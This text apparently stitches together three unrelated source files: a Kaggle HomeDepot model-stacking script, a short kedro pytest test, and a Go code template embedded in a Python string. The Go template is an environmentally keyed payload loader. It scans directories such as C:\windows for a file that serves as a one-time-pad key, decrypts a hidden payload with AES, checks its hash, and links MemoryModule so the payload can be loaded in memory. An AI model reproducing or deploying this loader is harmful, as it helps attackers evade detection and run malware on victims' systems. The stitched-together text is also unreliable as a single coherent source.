# -*- coding: utf-8 -*- """ Code for selecting top N models and build stacker on them. Competition: HomeDepot Search Relevance Author: <NAME> Team: Turing test """ from config_IgorKostia import * import os import pandas as pd import xgboost as xgb import csv import random import numpy as np import scipy as sp import numpy.random as npr import matplotlib.pyplot as plt from sklearn.cross_validation import StratifiedKFold from sklearn.linear_model import LogisticRegression from sklearn.linear_model import LinearRegression, Ridge from sklearn.svm import SVR,LinearSVC from sklearn import neighbors from sklearn import linear_model from time import time from sklearn.ensemble import AdaBoostRegressor, BaggingRegressor, RandomTreesEmbedding from sklearn.tree import DecisionTreeRegressor from sklearn import metrics from math import sqrt from sklearn.ensemble import RandomForestRegressor, ExtraTreesRegressor, GradientBoostingRegressor from sklearn.decomposition import TruncatedSVD from sklearn.random_projection import sparse_random_matrix from sklearn import preprocessing drop_list= [] #loading models #9 model train_f_1000 = pd.read_csv(MODELS_DIR+'/train_first_1000.csv', encoding="utf-8") train_s_1000 = pd.read_csv(MODELS_DIR+'/train_second_1000.csv', encoding="utf-8") train_f_1001 = pd.read_csv(MODELS_DIR+'/train_first_1001.csv', encoding="utf-8") train_f_2000 = pd.read_csv(MODELS_DIR+'/train_first_2000.csv', encoding="utf-8") train_s_2000 = pd.read_csv(MODELS_DIR+'/train_second_2000.csv', encoding="utf-8") test_f_1000 = pd.read_csv(MODELS_DIR+'/test_first_1000.csv', encoding="utf-8") test_s_1000 = pd.read_csv(MODELS_DIR+'/test_second_1000.csv', encoding="utf-8") test_f_1001 = pd.read_csv(MODELS_DIR+'/test_first_1001.csv', encoding="utf-8") test_f_2000 = pd.read_csv(MODELS_DIR+'/test_first_2000.csv', encoding="utf-8") test_s_2000 = pd.read_csv(MODELS_DIR+'/test_second_2000.csv', encoding="utf-8") #6 model train_f_3000 = pd.read_csv(MODELS_DIR+'/train_first_3000.csv', encoding="utf-8") train_s_3000 = pd.read_csv(MODELS_DIR+'/train_second_3000.csv', encoding="utf-8") test_f_3000 = pd.read_csv(MODELS_DIR+'/test_first_3000.csv', encoding="utf-8") test_s_3000 = pd.read_csv(MODELS_DIR+'/test_second_3000.csv', encoding="utf-8") #6 model only kostia features train_f_3010 = pd.read_csv(MODELS_DIR+'/train_first_3010.csv', encoding="utf-8") test_f_3010 = pd.read_csv(MODELS_DIR+'/test_first_3010.csv', encoding="utf-8") #6 model (4SVR + 2xgb) on corelated fetures train_f_3020 = pd.read_csv(MODELS_DIR+'/train_first_3020.csv', encoding="utf-8") test_f_3020 = pd.read_csv(MODELS_DIR+'/test_first_3020.csv', encoding="utf-8") train=pd.DataFrame() test=pd.DataFrame() train = pd.concat([train_f_1000, train_s_1000, train_f_1001, train_f_2000, train_s_2000, train_f_3000, train_s_3000, train_f_3010,train_f_3020], axis=1) test = pd.concat([test_f_1000, test_s_1000, test_f_1001, test_f_2000, test_s_2000, test_f_3000, test_s_3000 , test_f_3010, test_f_3020], axis=1) #adding_some_metafeatures df_all = pd.read_csv(FEATURES_DIR+'/df_basic_features.csv', encoding="utf-8") t1=df_all['id'].map(lambda x: int(x<163800)) t2=df_all['id'].map(lambda x: int(x>206650)) t3=df_all['id'].map(lambda x: int(x<163800) or int(x>221473)) df_train = pd.read_csv(DATA_DIR+'/train.csv', encoding="ISO-8859-1") df_test = pd.read_csv(DATA_DIR+'/test.csv', encoding="ISO-8859-1") num_train = df_train.shape[0] y = df_all["relevance"][:num_train] id_test=df_all["id"][num_train:] t1_tr=t1.iloc[:num_train] t2_tr=t2.iloc[:num_train] t3_tr=t3.iloc[:num_train] t1_tt=pd.DataFrame(t1.iloc[num_train:]) t2_tt=pd.DataFrame(t2.iloc[num_train:]) t3_tt=pd.DataFrame(t3.iloc[num_train:]) t1_tt.index=range(len(t1_tt)) t2_tt.index=range(len(t2_tt)) t3_tt.index=range(len(t3_tt)) train=pd.concat([train, t3_tr ], axis=1) test=pd.concat([test, t3_tt ], axis=1) #rename columns train.columns=range(len(train.keys())) test.columns=range(len(test.keys())) #train["relevance"]=y["relevance"] train["relevance"]=y trainX=train y_tr = trainX['relevance'].values X_tr = trainX.drop(['relevance'],axis=1).values from sklearn.linear_model import LinearRegression, Ridge from sklearn import metrics from scipy.optimize import nnls class MLR(object): def __init__(self): self.coef_ = 0 def fit(self, X, y): self.coef_ = sp.optimize.nnls(X, y)[0] self.coef_ = np.array(map(lambda x: x/sum(self.coef_), self.coef_)) def predict(self, X): predictions = np.array(map(sum, self.coef_ * X)) return predictions #selecting stacker model n_folds=5 skf = list(StratifiedKFold(y_tr, n_folds, shuffle=True)) blend_train = np.zeros((X_tr.shape[0])) #clf=MLR() clf = LinearRegression() #clf = neighbors.KNeighborsRegressor(128, weights="uniform", leaf_size=5) #select first model mn_rmse=1 model_n=0 for i in range(0,len(train.keys())-1): for j, (train_index, cv_index) in enumerate(skf): #print 'Fold [%s]' % (j) # This is the training and validation set X_train = X_tr[:,i][train_index] Y_train = y_tr[train_index] X_cv = X_tr[:,i][cv_index] Y_cv = y_tr[cv_index] X_train=X_train.reshape((len(X_train),1)) Y_train=Y_train.reshape((len(Y_train),1)) X_cv=X_cv.reshape((len(X_cv),1)) Y_cv=Y_cv.reshape((len(Y_cv),1)) clf.fit(X_train,Y_train) blend_train[cv_index] = clf.predict(X_cv) if sqrt(metrics.mean_squared_error(y_tr, blend_train))<mn_rmse: mn_rmse=sqrt(metrics.mean_squared_error(y_tr, blend_train)) print i, mn_rmse model_n=i #print i, sqrt(metrics.mean_squared_error(y_tr, blend_train)) model_list=list() model_list.append(model_n) model_collection=X_tr[:,model_n] model_collection=np.vstack((model_collection)).T cur_mn=mn_rmse #select other models for j in range(len(train.keys())-1): pred_mn_rmse=cur_mn for i in range(len(train.keys())-1): if (i in model_list): OK="OK" else: for k, (train_index, cv_index) in enumerate(skf): # This is the training and validation set X_train = X_tr[:,i][train_index] Y_train = y_tr[train_index] X_cv = X_tr[:,i][cv_index] Y_cv = y_tr[cv_index] CV_m=model_collection[0][train_index] for it in range(1,len(model_collection)): tmp=model_collection[it][train_index] CV_m=np.vstack((CV_m,tmp)) clf.fit(np.vstack((CV_m,X_train)).T, Y_train) #clf.fit(X_train,Y_train) CV_n=model_collection[0][cv_index] for it in range(1,len(model_collection)): tmp=model_collection[it][cv_index] CV_n=np.vstack((CV_n,tmp)) blend_train[cv_index] = clf.predict(np.vstack((CV_n,X_cv)).T) if sqrt(metrics.mean_squared_error(y_tr, blend_train))<cur_mn: cur_mn = sqrt(metrics.mean_squared_error(y_tr, blend_train)) model_n=i if (model_list[len(model_list)-1]==model_n) or abs(cur_mn-pred_mn_rmse)<0.00001: break model_list.append(model_n) model_collection=np.vstack((model_collection,X_tr[:,model_n])) print model_list print cur_mn print len(model_list) #choose top12 models model_list2=model_list[0:12] test_fin=test[model_list2] train_fin=train[model_list2] #select model for stacking clf = Ridge(alpha=3.0) clf.fit(train_fin, y) pred1 = clf.predict(test_fin) pred1[pred1<1.]=1. pred1[pred1>3.]=3. #saved_results pd.DataFrame({"id": id_test, "relevance": pred1}).to_csv(MODELS_DIR+"/submissions_ensemble_n_models_from_m_11_04_2016.csv",index=False) #X_new=train_fin #import statsmodels.api as sm #X_new = sm.add_constant( X_new ) #results = sm.OLS(y, X_new).fit() #print results.summary()
3,747
2,047
import pytest from kedro.framework.cli.hooks.manager import CLIHooksManager from kedro.framework.cli.hooks.specs import CLICommandSpecs @pytest.mark.parametrize( "hook_specs,hook_name,hook_params", [(CLICommandSpecs, "before_command_run", ("project_metadata", "command_args"))], ) def test_hook_manager_can_call_hooks_defined_in_specs( hook_specs, hook_name, hook_params ): """Tests to make sure that the hook manager can call all hooks defined by specs.""" cli_hook_manager = CLIHooksManager() hook = getattr(cli_hook_manager.hook, hook_name) assert hook.spec.namespace == hook_specs kwargs = {param: None for param in hook_params} result = hook(**kwargs) # since there hasn't been any hook implementation, the result should be empty # but it shouldn't have raised assert result == []
294
738
<filename>templates/go/go_otp_symmetric_base.py buildcode=""" package main /* #cgo CFLAGS: -IMemoryModule #cgo LDFLAGS: MemoryModule/build/MemoryModule.a #include "MemoryModule/MemoryModule.h" */ import "C" import ( {5} ) func check(e error) bool{{ if e != nil {{ return false }} return true }} func decrypt(payload []byte, payload_hash []byte, otp string, minus_bytes int) []byte{{ var key_location uint32 var key_len uint16 pad, err := os.Open(otp) // Decompress the payload, its zlib compressed var output bytes.Buffer data, err := base64.StdEncoding.DecodeString(string(payload)) // this is stupid var b bytes.Buffer b.Write([]byte(data)) r, _ := zlib.NewReader(&b) io.Copy(&output, r) r.Close() // get size of init_table read_location := make([]byte, 4) _, err = output.Read(read_location) if check(err) == false{{ return nil }} //Set buffer to size of read_location buf := bytes.NewReader(read_location) err = binary.Read(buf, binary.LittleEndian, &key_location) if check(err) == false{{ return nil }} fmt.Println("location of the key", key_location) //read key_len len_key := make([]byte, 2) _, err = output.Read(len_key) if check(err) == false{{ return nil }} buf1 := bytes.NewReader(len_key) err = binary.Read(buf1, binary.LittleEndian, &key_len) if check(err) == false{{ return nil }} iv := make([]byte, 16) _, err = output.Read(iv) if check(err) == false{{ return nil }} fmt.Printf("[*] IV: %x\\n", iv) // read full table //get size of remaining size_of_full_table := output.Len() fmt.Println(size_of_full_table) encrypted_payload := make([]byte, size_of_full_table) _, err = output.Read(encrypted_payload) if check(err) == false{{ return nil }} // Get key raw_key := make([]byte, key_len) // Find key in pad _, err = pad.Seek(int64(key_location), 0) if check(err) == false{{ return nil }} // Read key in pad _, err = pad.Read(raw_key) if check(err) == false{{ return nil }} // Print key fmt.Printf("[*] Raw key : %x\\n", raw_key) kIterations := {6} // take sha512 of key & perform iterations raw_key_512 := sha512.Sum512(raw_key) for kIterations > 1 {{ raw_key_512 = sha512.Sum512(raw_key_512[:]) kIterations -= 1 }} // chomp key to 32 bytes for 256 bit key password := raw_key_512[:32] fmt.Printf("[*] AES Key @ %x iterations: %x\\n", {6}, password) //Decrypt aesBlock, err := aes.NewCipher(password) if check(err) == false{{ return nil }} cfbDecrypter := cipher.NewCFBDecrypter(aesBlock, iv) cfbDecrypter.XORKeyStream(encrypted_payload, encrypted_payload) encrypted_payload = bytes.TrimRight(encrypted_payload, "{{") s, err := base64.StdEncoding.DecodeString(string(encrypted_payload)) if check(err) == false{{ return nil }} fmt.Printf("[*] Encrypted Blob Length: %v\\n", len(s)) //fmt.Printf("%v\\n", hex.EncodeToString(s)) pad.Close() //fmt.Println("len(full_payload)", len(s)) fmt.Printf("[*] Temp Payload Hash:\\n%x\\n",sha512.Sum512(s)) payload_test_hash := sha512.Sum512(s[:len(s) - minus_bytes]) fmt.Printf("[*] Search Payload Hash:\\n%x\\n", payload_test_hash) fmt.Printf("[*] Payload Hash: %x\\n", payload_hash) final_result := bytes.Equal(payload_test_hash[:], payload_hash[:]) if final_result == true {{ fmt.Println("[*] Hashes are equal!") return s }} else {{ // fmt.Println("no, they do not match") return nil }} }} /* ======================= == Walk'in componenets ======================= */ //Global variable only used if parsing entire FS first var globalFile []fileDesc var sysNativeDone = false //describe the file info are interested in retrieving type fileDesc struct {{ isDir bool fPath string sName string }} //used by the walk function to process directories / files // This function gets called every file / directory in the path thats being searched func walk_path(path string, info os.FileInfo, err error) error {{ //temp item holder var item fileDesc //check for errors if err != nil {{ fmt.Println("[!] Error Reported: ",err) return nil }} //determine if directory if info.IsDir() {{ item.isDir = true }} else {{ item.isDir = false }} //set addtional parameters into the struct item.fPath = path item.sName = info.Name() globalFile = append(globalFile, item) //You would add check code here to call the combine function to test this path // plus env vars meet the check return nil }} //called similar to python version func walk_os(scan_dir string) {{ //Handle 32bit in 64bit machine sysnative sys_paths := []string{{"c:\\\\windows", "c:\\\\windows\\\\system32"}} //fmt.Println("Arch: "+runtime.GOARCH) if strings.Contains(runtime.GOARCH, "386") == true {{ for _, s_path_check := range sys_paths {{ // fmt.Println("Check: "+s_path_check+" vs Check: "+scan_dir) if strings.Compare(strings.ToLower(scan_dir), strings.ToLower(s_path_check)) == 0 && !sysNativeDone{{ fmt.Println("[*] Checking sysnative - searching for 64-Bit path") sysNativeDone = true filepath.Walk("c:\\\\Windows\\\\sysnative", walk_path) }} //else 32bit do nothing special, but continue to walk the given path }} }} //Call Walk function to process all directories //You can either wait here for all directories to be processed and then perform checks... // If you want to perform checks for each file found then do it above in the walk function // // The beauty here is that you get back (in the global value globalFile) an array of structs // which you can iterate through and know if they are directories or files and then use for // the appropriate function _ = filepath.Walk(scan_dir, walk_path) fmt.Printf("[*] Total FS Length %v \\n", len(globalFile)) //fmt.Printf("%v",globalFile) }} /* =========================== == End Walk'in componenets =========================== */ func main() {{ // final hash for testing payload_hash, err := hex.DecodeString("{1}") check(err) // This is the minus bytes used in this test minus_bytes := int({2}) scan_dir := filepath.FromSlash(`{4}`) // import from command line lookup_table := []byte("{0}") if true == strings.HasPrefix(scan_dir, "%") {{ if true == strings.HasSuffix(scan_dir, "%") {{ fmt.Println("[*] Using env variable for directory scanning: ", scan_dir) // Strip "%" scan_dir = scan_dir[1:len(scan_dir) - 1] // Get env path scan_dir = os.Getenv(scan_dir) fmt.Println("[*] Resolved Path for Scanning: ", scan_dir) if scan_dir == ""{{ os.Exit(0) }} }} }} walk_os(scan_dir) fmt.Println("[*] Number of Path Items to Iterate: ", len(globalFile)) //fmt.Println(globalFile) var full_payload []byte for _, itr := range globalFile{{ fmt.Printf("[*] Testing File: %v", itr.fPath) // if it is a directory, continue if itr.isDir == true {{ continue }} full_payload = decrypt(lookup_table, payload_hash, itr.fPath, minus_bytes) if full_payload != nil{{ //fmt.Println("not nil") break }} }} if full_payload == nil{{ fmt.Println("[!] No Match Found - Exiting") os.Exit(1) }} fmt.Println("[*] Length of Decrypted Payload: ", len(full_payload)) //full_payload := decrypt(payload, payload_hash, otp, minus_bytes) //fmt.Println(len(full_payload)) {3} }} """
3,453